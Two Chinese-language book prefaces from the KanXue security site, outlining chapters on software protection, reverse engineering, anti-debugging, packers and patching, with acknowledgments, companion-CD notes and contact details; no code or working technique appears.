        什么是API？什么是Unicode？什么是逆向分析？Winodws 9x与Windows 2000/XP上的加解密究竟有什么不同？只有了解这些基础知识，在加密与解密过程中才能有的放矢地处理各种问题。本书的基础篇（第1章"基础知识"和第2章"代码分析技术"） 将系统地解答这些问题。
        在进行软件解密的过程中，一个首要问题是对被解密的软件进行分析，这部分就是静态分析与动态分析技术。本书以极大的篇幅讲述了这两种分析技巧，包括逆向工程必备工具IDA的详细操作，最新SoftICE和OllyDbg的操作等。这些内容可以在第3章"静态分析技术"与第4章"动态分析技术"中找到。
        一些软件作者对软件保护方案的策划与实施很不以为然，他们往往自以为保护在解密者眼中不堪一击。希望本部分能让这些软件作者了解一些软件攻击的方法，以便更好地保护自己的作品。在这个年代，研究加解密不掌握点密码学的知识是不可思议的。第二版详细讲解了MD5, SHA, CRC, RSA, ElGamal等算法在软件保护方面的应用，并且光盘上提供了实例的源码！这些内容可以在第5章"软件保护及其弱点"与第6章"加密算法"中找到。
        现在所使用的语言无非是两种：一种是解释执行的语言，另一种就是编译后才能够执行的语言。解释语言的最大弱点之一就是能被反编译，因此其保护的重点应放在如何防止反编译上。这些内容可以在第7章"反编译语言"中找到。
        PE是Windows上可执行文件的格式，熟知PE文件将有助于对操作系统的深刻理解。如果你知道EXE和DLL里面的奥秘，就成为一名知识更加渊博的程序员。本书用大量篇幅，图文并貌地详细讲解了PE格式（第8章"PE文件格式"）。
        在掌握PE格式后，就可随心所意地对PE文件做"手术"，进行二次开发，如增加菜单、按钮等功能。这部分将带你走进另一个计算机的世界里去（第9章"增加PE文件功能"）。
        SEH的出现已非一日，但有关SEH的知识资料却不是很多。SEH不仅可以简化程序的错误处理，使程序更加健壮，还被广泛应用于反跟踪和加密中。本书从解密角度讲述了SEH的机理，同时讲述了其他各种反跟踪技术，如Anti-Debug、花指令等。软件作者可以将这些技术应用到自己的软件中去，以加强软件的反跟踪能力（第10章"反跟踪技术"）。
       现在，越来越多的软件都采用了加壳保护。当在软件分析和汉化过程中，脱壳是必不可少的一步。第11章"加壳与脱壳"详细介绍了各种壳的脱壳技巧，读者可以在自己的软件中运用这些壳中的先进反跟踪技术。
        第12章"补丁技术"介绍了文件补丁和内存补丁技术，同时重点讲解了SMC技术在补丁方面的应用。学习补丁是一件很有意思的事情。
        商用软件保护技术实际就是对商业软件加密的技术，真正有价值的商业软件一般都会采用这些技术来保护。第13章"商用软件保护技术"讲解了常见的商业保护技术，如软件狗，Vbox，SalesAgent，Flexlm等保护，而且对这些保护的优缺点进行了分析。

    对读者的要求

        本书适合以下读者。
        对软件加密与解密感兴趣的读者
        对软件保护感兴趣的软件开发人员
        对逆向工程感兴趣的读者
        对调试技术感兴趣的读者
        使用本书需要具备以下知识。
        汇编基础知识。此类书籍市面上很多，如《IBM PC汇编语言程序设计》等。
        应了解C语言。了解C语言的某些知识是有帮助的，但不是必须了解。
        Win32编程。不管研究加密与解密，还是编程，都必须了解Win32编程。Win32编程就是API方式的Windows程序设计，学习Windows API能使您更深入地了解Windows工作方式。此类书籍有Charles Petzold所著的《Windows程序设计》，该书堪称经典之作，它以C语言为讲解平台。另一本书是罗云彬所编著的《Windows环境下32位汇编语言程序设计》，它以Win32汇编为讲解平台。
    到此为止，作者将不再假设您已经具有任何加解密的经验了。

    致谢

        感谢我的母校同济大学，她的"同舟共济、自强不息"的同济精神一直指导着我的工作和学习！
        感谢电子工业出版社计算机事业部对本书的大力支持！
        同时也要感谢那些共同参与第一版组稿的软件调试论坛的众多密界一流好手，是他们的参与才让此书得以完成。这次的第二版改动较大，参考引用了如下朋友在第一版中参与的文章：
        1．Blowfish（http://www.shieldsoftware.com/）参与的"软件保护技术"、"Anti-Debug"、"JAVA程序反编译"；
        2．DREAMtHEATE 参与的"Windows消息机制"；
        3．DDXia[CCG]参与的"远程调试技术"，"补丁技术"；
        4．Passion参与的"FileMon的使用"、"TimeLOCK保护"；
        5．Ljtt参与的"花指令"；
        6．Arbiter参与的"FrogsICE使用简介"、"CRC原理篇"；
        7．Ajj（http://ajj.126.com/）参与的"IceDump和NticeDump的使用"；
        8．Fisheep（fisheep@sohu.com）参与的"VBOX4.3"、"SalesAgent保护技术"、"FlexGen工具用法"、"利用FlexLm SDK解密"、"浮点指令小结"；
        9．吴朝相（http://www.souxin.com/）参与的"常用断点设置技巧"及"认识壳"；
        10．mr.wei参与的"DeDe用法"；
        11．邹丹（http://www.zoudan.com）的论文"关于Windows 95下的可执行文件的加密研究"；
        12．TiANWEi（http://winice.yeah.net）参与的"SoftICE指令手册"。
        在第二版的编写过程中特别感谢：
        1．Hume（http://humeasm.yeah.net/）提供的"指令优化一文"；
        2．老罗的缤纷天地（http://www.luocong.com/）提供的"CRC32实践篇"与"奇妙的Base64编码"两篇文章及实例；
        3．夜月提供"Blowfish算法解密"一文；
        4．娃娃（王凌迪）参与的"MD5算法"资料；
        5．Blowfish的"ReVirgin 使用指南"，"挫败隐藏在SEH handler中的保护"。
        同时也要感谢Sun Bird，Hying，Spring，pll621，Ajj，小楼，Ljtt，Arbiter，Aming，Cooljiang，洋白菜，WinDos2K，小牧童等软件调试论坛的众多朋友的支持和帮助！论坛网友的一言一行都已融进了本书的文字里，实在无法一一列举。特别感谢CCG团体给与的技术支持！

    关于配套光盘

        本书所有实例及源码均在配套光盘里提供，大部分实例是使用Microsoft Visual C++ 6.0开发和测试的。
        由于版权问题，配套光盘仅提供书中提到的免费软件或共享软件。如果从学习角度需要使用那些有版权的软件，建议用搜索引擎查找（如 www.google.com）。
        光盘提供的软件经过多方面检查测试，绝无病毒。但一些加解密工具采用了某些病毒技术，因此部分代码与某些病毒的特征码类似，会造成查毒软件的误报。
        请勿将光盘的文件做成虚拟光驱，并跟踪调试虚拟光驱上的实例，以免出现一些无法解释的错误。建议将文件拷贝到硬盘，并去除只读属性再调试。

    反馈信息

        我们非常希望能够了解读者对本书的看法。如果有什么问题或有自己的调试实战故事，欢迎发到作者主页的论坛里，我乐意回答朋友们提出的任何合理的问题，因为当我努力回答这些问题时，也会从中获益匪浅。
        作者主页 http://www.pediy.com
                                                                                段 钢
                                                                                2003年3月

    ©2000-2004 PE diy.com All rights reserved.
    By KanXue Studio


查看前言

` 《软件加密技术内幕》 看雪学院
  • 前言

        作为一名软件开发人员，你是否因看到自己的软件被他人破解而痛恨？你是否因面对着猖獗的盗版而无奈？你是否正在寻找一套行之有效的软件保护方案？ 如果你对上述问题的答案都是肯定的，那么本书对你而言实在是再合适不过的了。解决上述问题可以从提高用户版权意识和加强软件保护两方面入手。从目前情况来说，对软件进行加密保护是最直接有效的。但由于软件保护技术所带来的商业利益，掌握这方面技术的个人和公司都很保守，造成目前软件加密保护方面的资料比较匮乏。因此许多软件开发人员不得不自行摸索，导致在重复劳动中走了不少弯路，耗费了大量的时间和精力开发出来的保护产品在解密者眼中不堪一击,最终，他们的产品蒙受了巨大的经济损失。本书将公开许多极有商业价值的加密技术，以帮助读者更好地对软件实施加密保护。

    • 作者

        主 编：段 钢
        编 委：dREAMtHEATER、王勇、印豪、罗翼、温玉杰、李江涛、于阳、Blowfish、王景泉、裴来隆、周文雄、郭春杨
        （注：各位作者具体情况，见书的序部分）

    关于本书

        本书是由"看雪学院"（http://www.pediy.com）众多高手共同打造而成的。要了解本书的写作背景，先简单谈谈本站的发展历史。
    在2000年初时想找一些研究加解密的朋友交流一下，但令人十分遗憾，那时国内这方面的技术资料很缺乏，大家的交流也有限，因此就创建了主页"看雪学院"，与大家共同探讨加密与解密的知识。主页提供的论坛成了国内知名的加解密技术论坛，吸引了密界众多高手，当前最新的加解密技术都可从这里接触到。
        为了填补国内Windows平台加密与解密书籍的空白，作者与看雪坛的密界一流好手合作努力，于2001年9月推出国内第一本全面介绍Windows平台下软件的加密与解密技术的书籍《加密与解密--软件保护技术及完全解决方案》。次年，在台湾发行了繁体版，深受台湾读者的欢迎。在这本书中，我们从加密和解密两方面对当今流行的软件保护技术进行分析，读过这本书后，读者能够对当今流行的软件保护技术及破解技术有所了解。这本书获得了2002年全国优秀畅销书奖（科技类）！同时还获得了2002年版权输出奖。
        为了跟上技术发展的步伐，在2003年6月推出《加密与解密》（第二版）。这本书是在第一版的基础上写作而成的，补充了许多新技术，结构更加合理。这本书几乎囊括了Windows下的软件保护的绝大多数内容，是一本研究加密与解密入门的好书。
        由于开发人员对当前流行的软件加密技术有进一步的需求，我们决定推出《软件加密技术内幕》，其内容侧重软件加密技术及其具体实施方案。这本书的创作历时两年，共有十余名对加解密有心得的好手参与。

    《软件加密技术内幕》与《加密与解密》的联系

        《加密与解密--软件保护技术及完全解决方案》与《加密与解密》（第二版）是同一本书的不同版次，主要讲解加密与解密的相互性，比较侧重一些软件解密技巧的讲述。 《软件加密技术内幕》内容是与前一本书承接互补的，并不重复。主要讲述当前流行的软件加密保护技术。这本书对读者软件调试技巧有一定的要求，这方面的知识可以从《加密与解密》（第二版）获得。

    对读者的要求

        要研究软件加密技术必须对系统底层有一定的了解，书中首先讲解了相关系统底层知识，如PE格式深入分析，调试API应用，未公开技术SEH的深入研究等。在了解这些底层知识后，就可以将这些技术应用到自己的软件保护方案中去，例如各种反跟踪技术的实现等。同时本书花了较大篇幅讲解了目前很热门的技术--如何编写加壳软件，以及如何将壳与程序结合起来。
        本书各章节内容如下：
        第1章 PE文件格式的深入分析
        一个操作系统的可执行文件格式和数据结构揭示了藏在操作系统内部的秘密，理解EXE或DLL将有助于对操作系统的深刻理解。如果知道EXE和DLL里面的奥秘，你将成为一名知识更加渊博的程序员。
        第2章 PE分析工具编写
        编写PE分析工具可以加深对PE文件格式的了解，为以后编写加壳、脱壳等工具打好基础。
        第3章 Win32调试API
        Win32中自带了一些API函数，它们提供了相当于一般调试器的大多数功能。利用调试API，可以编写自己的调试器、脱壳机、内存补丁等。
        第4章 Windows下的异常处理
        Windows下异常处理机制之一SHE的出现已绝非一日，但很多人可能还没有彻底了解SEH的工作机制；有关SEH的知识资料不是很多，详细资料就更少！仅有的一些资料大部分还是重复的，本章将使读者对SEH有一个全面的了解。SEH不仅可以简化程序错误处理，使你的程序更加健壮，还广泛应用于反跟踪及加解密中。本章对Windows操作系统内部提供的异常处理支持机制进行了深入探究，首先介绍最常见SEH的实现、原理及应用；然后，介绍VC++如何封装这些内部支持，从而实现众所周知的__try{} __except{}/__finally{}语言；最后对Windows XP新引进的VEH异常处理做了简单的介绍。
        第5章 反跟踪技术
        好的软件保护都要与反跟踪技术结合在一起。如果没有反跟踪技术，软件等于直接裸露在解密者的面前。本章主要讲述防调试器、防静态反汇编、防监视工具和反加载技术等内容。读者可以根据实际情况在软件中采用相关的技术和代码。
        第6章 加壳软件编写
        软件最终发行之前一定要将可执行程序进行加壳/压缩，使解密者无法直接修改程序。但是外面流行的加壳软件，已被广泛深入地研究，有了通用的脱壳/解压办法，保护能力不强。因此十分有必要开发自己的加壳方法。由于外壳技术具有很大的商业价值，因此编写外壳的资料几乎没有。本章手把手地讲解如何编写自己的加壳软件，并介绍如何将前章节的反跟踪技术结合进去，打造你自己的加壳软件。
        第7章 如何让壳与程序融为一体
        不可能有不能脱的壳，那只是时间的问题。如果将壳与程序捆绑到一起，就会加大脱壳的难度，延长脱壳的时间，这也是壳现在的发展方向。本章就是讲述如何将壳与程序融合的技术和方法。
        第8章 Visual Basic 6 逆向工程
        现在所使用的语言无非是两种，一种是解释执行的语言，另一种就是编译后才能够执行的语言。解释语言的一个最大弱点就是能反编译，因此其保护的重点应放在如何防止反编译上。本章以Visual Basic 6 为例，讲解如何对解释语言进行逆向工程，以便针对这类语言的特点研究出更好的保护方法。
        附录A 在 Visual C++ 中使用内联汇编
        在编写某些加密代码时，可能要用到汇编语言来编写一些特定功能的代码。使用内联汇编可以在 C/C++ 代码中嵌入汇编语言指令，而且不需要额外的汇编和链接步骤。
        附录B 在Visual Basic中使用汇编
        汇编代码不能直接插入VB程序，必须采用一些特殊方法。

    对读者的要求

        本书是针对具有一些编程经验和一定解密基础的程序员而写的。作为软件开发人员，有必要对软件保护（加密）和破解（解密）两方面同时进行研究。也就是说应该更多地从破解者的角度考虑，这样才可能比较合理地运用各种技术。这方面的知识可以从本书的姊妹篇《加密与解密》（第二版）中获得。
        由于要与Windows的底层打交道，不可避免地要使用汇编语言，而且使用汇编语言来阐述将是最清晰直接和易于理解的，因此需要读者有一定的汇编基础。
        本书适合以下读者：
        对软件加密技术感兴趣的软件开发人员
        进行商业软件开发的相关人员
        对系统底层机制感兴趣的读者
        对逆向工程感兴趣的读者

    致谢

        感谢博文视点公司对本书的大力支持！
        感谢Sun Bird、Aming、Arbiter、小牧童等看雪论坛众多朋友的支持和帮助！
        感谢常州师范专科学校外语系顾晓波翻译的Brief Introduction to P-code，Mr.Silver一文。
        感谢参与写作的各位作者的技术共享的精神，是他们的无私让读者可以从本书中获得许多极有商业价值的技术。！

    关于配套光盘

        本书所有实例均在配套光盘里提供，大部分实例是以Masm或Microsoft Visual C ++开发并测试的。笔者尽量使这些程序简短而完整，并将代码印刷在书里。对于那些较长的实例，需要读者阅读本书所附光盘上的那些文件。
    请将光盘文件拷贝到硬盘，并去除只读属性再编译和调试。
        所有的实例程序均带源码，并且实例在光盘上都是预编译好的，均可在Windows系统上直接运行（注意：有些实例仅可运行在Windows 9x平台或Windows NT内核平台）。
        本书部分实例用汇编语言来描述，读者可利用内联汇编技术将汇编代码直接插入C++，Delphi等语言代码中去。
        大部分实例虽是采用了VC来描述，但由于是Win32编程，所以读者仍然可以很容易地将代码移植到其他编译语言中去。

    技术支持

        虽然作者竭尽全力保证书中内容及所附光盘上内容的准确性，但错误可能在所难免。为此我们会在主页提供关于本书的更正内容：
    http://www.pediy.com
        我们非常希望能够了解读者对本书的看法。读者可以将对本书的评论、疑问及其他意见发到我们的论坛里，我们乐意回答朋友们提出的任何合理的问题。同时，在这里你也能结识到许多兴趣相投的朋友。
                                                                                看雪学院
                                                                                2004年4月

    ©2000-2004 PE diy.com All rights reserved.
    By KanXue Studio